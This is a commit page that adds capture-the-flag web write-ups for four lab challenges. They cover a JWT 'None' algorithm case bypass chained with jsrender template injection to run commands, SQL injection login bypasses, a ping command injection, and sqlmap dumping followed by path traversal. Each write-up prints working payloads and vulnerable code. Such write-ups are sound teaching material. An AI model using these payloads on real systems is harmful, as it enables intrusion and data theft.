Skip to content

Commit 67c3d67

Browse files
committed
docs: Add web writeups
1 parent 34a581d commit 67c3d67

File tree

12 files changed

+1098
-0
lines changed

12 files changed

+1098
-0
lines changed

web/didactic_octo_paddles.md

+196
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
# Didactic Octo Paddles (medium)
2+
In this challenge we will exploit JWT tokens and use SSTI to get RCE.
3+
4+
Spawning the website a login panel pops up. Nothing much we can do here, let's check the provided source code.
5+
6+
We see that most endpoints are protected with the login prompt.
7+
We notice the register endpoint, so we could try to register and login with a user to further explore the site, however the **admin** endpoint seems way more interesting.
8+
9+
```javascript
10+
router.get("/admin", AdminMiddleware, async (req, res) => {
11+
try {
12+
const users = await db.Users.findAll();
13+
const usernames = users.map((user) => user.username);
14+
15+
res.render("admin", {
16+
users: jsrender.templates(`${usernames}`).render(),
17+
});
18+
} catch (error) {
19+
console.error(error);
20+
res.status(500).send("Something went wrong!");
21+
}
22+
});
23+
```
24+
25+
First of all there seems to be a clear SSTI bug which can be influenced by the usernames.
26+
So here it will be useful to register a user with a username that will trigger the SSTI and give us RCE, but first we need to successfully authenticate as admin.
27+
28+
But the second reason this endpoint is so interesting is because it uses the `AdminMiddleware` instead of the usual `AuthMiddleware`, interesting... let's see what the `AdminMiddleware` does.
29+
30+
31+
```javascript
32+
const jwt = require("jsonwebtoken");
33+
const { tokenKey } = require("../utils/authorization");
34+
const db = require("../utils/database");
35+
36+
const AdminMiddleware = async (req, res, next) => {
37+
try {
38+
const sessionCookie = req.cookies.session;
39+
if (!sessionCookie) {
40+
return res.redirect("/login");
41+
}
42+
const decoded = jwt.decode(sessionCookie, { complete: true });
43+
44+
if (decoded.header.alg == 'none') {
45+
return res.redirect("/login");
46+
} else if (decoded.header.alg == "HS256") {
47+
const user = jwt.verify(sessionCookie, tokenKey, {
48+
algorithms: [decoded.header.alg],
49+
});
50+
if (
51+
!(await db.Users.findOne({
52+
where: { id: user.id, username: "admin" },
53+
}))
54+
) {
55+
return res.status(403).send("You are not an admin");
56+
}
57+
} else {
58+
const user = jwt.verify(sessionCookie, null, {
59+
algorithms: [decoded.header.alg],
60+
});
61+
if (
62+
!(await db.Users.findOne({
63+
where: { id: user.id, username: "admin" },
64+
}))
65+
) {
66+
return res
67+
.status(403)
68+
.send({ message: "You are not an admin" });
69+
}
70+
}
71+
} catch (err) {
72+
return res.redirect("/login");
73+
}
74+
next();
75+
};
76+
77+
module.exports = AdminMiddleware;
78+
```
79+
80+
Ok, so we will need a session cookie first of all.
81+
The algorithm can't be *none* because then we are forced to log in.
82+
It also can't be `HS256`, because then the token is verified against the secret, which is random.
83+
Therefore our only choice is to go into the `else` case.
84+
85+
We see the token is verified, but instead of a secret value `null` is provided.
86+
This is our chance to bypass the authentication.
87+
Some of the choices that first came to mind:
88+
* Type juggling: provide algorithm as an array/object/boolean etc.
89+
* Provide another algorithm such as `HS512`
90+
91+
However both of these approaches fail, to see why let's look into the `jsonwebtoken` source code.
92+
93+
```javascript
94+
// verify.js:102
95+
if(err) {
96+
return done(new JsonWebTokenError('error in secret or public key callback: ' + err.message));
97+
}
98+
99+
const hasSignature = parts[2].trim() !== '';
100+
101+
if (!hasSignature && secretOrPublicKey){
102+
return done(new JsonWebTokenError('jwt signature is required'));
103+
}
104+
105+
if (hasSignature && !secretOrPublicKey) {
106+
return done(new JsonWebTokenError('secret or public key must be provided'));
107+
}
108+
109+
if (!hasSignature && !options.algorithms) {
110+
return done(new JsonWebTokenError('please specify "none" in "algorithms" to verify unsigned tokens'));
111+
}
112+
```
113+
114+
`secretOrPublicKey` is the second argument to the call, that we know is `null`.
115+
116+
From this we can deduce that our forged JWT token should not have a signature part, otherwise the verification fails (second `if` statement)
117+
118+
From the third `if` statement we deduce that `algorithms` needs to be set, even if there are no signatures.
119+
120+
```javascript
121+
// verify.js:148
122+
if (header.alg.startsWith('HS') && secretOrPublicKey.type !== 'secret') {
123+
return done(new JsonWebTokenError((`secretOrPublicKey must be a symmetric key when using ${header.alg}`)))
124+
} else if (/^(?:RS|PS|ES)/.test(header.alg) && secretOrPublicKey.type !== 'public') {
125+
return done(new JsonWebTokenError((`secretOrPublicKey must be an asymmetric key when using ${header.alg}`)))
126+
}
127+
```
128+
129+
Here we see that if use any other algorithm than *none* a field of `secretOrPublicKey` is accessed, so we can't use an alternative algorithm to `HS256` that is not `none`.
130+
131+
```javascript
132+
// verify.js:162
133+
let valid;
134+
135+
try {
136+
valid = jws.verify(jwtString, decodedToken.header.alg, secretOrPublicKey);
137+
} catch (e) {
138+
return done(e);
139+
}
140+
```
141+
142+
Then our variables are passed to `jws.verify`, let's look into what happens there.
143+
144+
*jws* calls *jwa* internally to get the verification algorithm based on what we provide in `alg`.
145+
146+
Let's see what happens when `jwa` is called:
147+
148+
```javascript
149+
// index.js:227
150+
module.exports = function jwa(algorithm) {
151+
var signerFactories = {
152+
hs: createHmacSigner,
153+
rs: createKeySigner,
154+
ps: createPSSKeySigner,
155+
es: createECDSASigner,
156+
none: createNoneSigner,
157+
}
158+
var verifierFactories = {
159+
hs: createHmacVerifier,
160+
rs: createKeyVerifier,
161+
ps: createPSSKeyVerifier,
162+
es: createECDSAVerifer,
163+
none: createNoneVerifier,
164+
}
165+
var match = algorithm.match(/^(RS|PS|ES|HS)(256|384|512)$|^(none)$/i);
166+
if (!match)
167+
throw typeError(MSG_INVALID_ALGORITHM, algorithm);
168+
var algo = (match[1] || match[3]).toLowerCase();
169+
var bits = match[2];
170+
171+
return {
172+
sign: signerFactories[algo](bits),
173+
verify: verifierFactories[algo](bits),
174+
}
175+
};
176+
```
177+
178+
Here we see that to match the algorithm a regex is used.
179+
All looks good, however not the flag used: `i`, the case insensitive flag.
180+
This means that `none`, `None`, and `NONE` would be all valid matches.
181+
182+
Furthermore when `algo` is decided the match itself is converted to lower case letters.
183+
184+
But recall how in the `AdminMiddleware` we execute a case sensitive comparison with `==`.
185+
186+
And here we have our first bug, which allows us to bypass the JWT token verification for admin.
187+
188+
We will send the following JWT token: `eyJhbGciOiAiTm9uZSIsInR5cCI6IkpXVCJ9.eyJpZCI6MX0.`, encoded in the second part is the user ID we want, which is 1 for the admin.
189+
190+
Now all that is left to do is to send a POST request to the `/register` endpoint and create a user with the SSTI payload as the username.
191+
192+
```
193+
payload: {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}
194+
```
195+
196+
Now we log in with the **admin** user with the JWT bypass, and just enjoy the flag.

web/drobots.md

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# Drobots (very easy)
2+
For this challange we will need to use SQL injection.
3+
4+
Upon loading the website we are greeted with a login page.
5+
6+
Checking the source code provided for the backend, we see that the username should be **admin** and the password is randomized.
7+
8+
However let's read the source code responsible for the authentication of the users:
9+
10+
```python
11+
def login(username, password):
12+
# We should update our code base and use techniques like parameterization to avoid SQL Injection
13+
user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True)
14+
15+
if user:
16+
token = createJWT(username)
17+
return token
18+
else:
19+
return False
20+
21+
```
22+
23+
This here is clearly vulnerable to an SQL injection attack. Sending the following payload to the login endpoint will allow us to log in as admin, and read the flag.
24+
```json
25+
{
26+
"username": "admin",
27+
"password": "\" OR 1=1 -- "
28+
}
29+
```

web/gunhead.md

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# Gunhead (very easy)
2+
Simple command injection vulnerability.
3+
4+
Upon loading the website I checked all the different buttons, and the most interesting was the `command` button on the left.
5+
6+
The `clear` and `storage` command do not seem to communicate with the server, however the `ping` command does.
7+
8+
Our input is being directly passed to `shell_exec`, so we could use a command like:
9+
10+
```
11+
/PING 192.168.10.1; CAT /FLAG.TXT
12+
```
13+
14+
To get the flag.

web/orbital/README.md

+91
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
# Orbital (easy)
2+
In this challange we continue exploiting SQL injection.
3+
4+
Upon loading the website we are greeted with a login prompt.
5+
Nothing much to go off of, so I checked the provided backend code.
6+
7+
I checked the login mechanism and saw that it still had SQL injection in the `database.py` file:
8+
```python
9+
def login(username, password):
10+
# I don't think it's not possible to bypass login because I'm verifying the password later.
11+
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
12+
13+
if user:
14+
passwordCheck = passwordVerify(user['password'], password)
15+
16+
if passwordCheck:
17+
token = createJWT(user['username'])
18+
return token
19+
else:
20+
return False
21+
```
22+
23+
However this time the password isn't part of the query, therefore the check can't be directly bypassed.
24+
But this is still an SQL injection nevertheless.
25+
26+
Since no results are reflected back apart from the success/failure of the authentication, this will be a blind sql injection attack.
27+
28+
To automate the process I have used the `sqlmap` command (`community/sqlmap` package on archlinux).
29+
Since this was a POST request with JSON data, I have decided it would be easiest to provide a *request file* to sqlmap.
30+
31+
In this file I specify all request headers, the target and the body.
32+
We can use the `*` character to indicate where we want the injection to happen, this is the `username` field for us.
33+
34+
```shell
35+
➜ web_orbital sqlmap -r $(pwd)/req.txt --ignore-code 401
36+
```
37+
38+
This command will test for SQL injection, we ignore code 401, since that is most likely a result of some input the server couldn't handle.
39+
40+
Now we can use the sqlmap options, such as `--tables` and `--dump` to list all the tables, and then dump a given table
41+
42+
```shell
43+
➜ web_orbital sqlmap -r $(pwd)/req.txt --ignore-code 401 -T users --dump
44+
```
45+
46+
This command will list everything it can find in the users table.
47+
Here we will find the username and password of the admin user
48+
```
49+
[22:35:46] [INFO] retrieved: '1'
50+
[22:35:46] [INFO] retrieved: '1692b753c031f2905b89e7258dbc49bb'
51+
[22:35:46] [INFO] retrieved: 'admin'
52+
[22:35:46] [INFO] recognized possible password hashes in column 'password'
53+
```
54+
55+
However we see that the password seems like a hash.
56+
And indeed checking the source code in `util.py` confirms this theory.
57+
58+
```python
59+
def passwordVerify(hashPassword, password):
60+
md5Hash = hashlib.md5(password.encode())
61+
62+
if md5Hash.hexdigest() == hashPassword: return True
63+
else: return False
64+
```
65+
66+
However I threw this hash into a reverse md5 lookup and got the result: *ichliebedich*
67+
68+
Now we can use these credentails to log in as admin, however we still need to get the flag.
69+
70+
The flag this time lives in a file in `/signal_sleuth_firmware`.
71+
My attention immediately jumped to the export feature for recent communications.
72+
Upon checking the source code for this section, and arbitrary file read bug is identified:
73+
74+
```python
75+
@api.route('/export', methods=['POST'])
76+
@isAuthenticated
77+
def exportFile():
78+
if not request.is_json:
79+
return response('Invalid JSON!'), 400
80+
81+
data = request.get_json()
82+
communicationName = data.get('name', '')
83+
84+
try:
85+
# Everyone is saying I should escape specific characters in the filename. I don't know why.
86+
return send_file(f'/communications/{communicationName}', as_attachment=True)
87+
except:
88+
return response('Unable to retrieve the communication'), 400
89+
```
90+
91+
When sending this request we can simply provide `../../../../../signal_sleuth_firmware` and then we get the flag in base64 encoded format.

0 commit comments

Comments
 (0)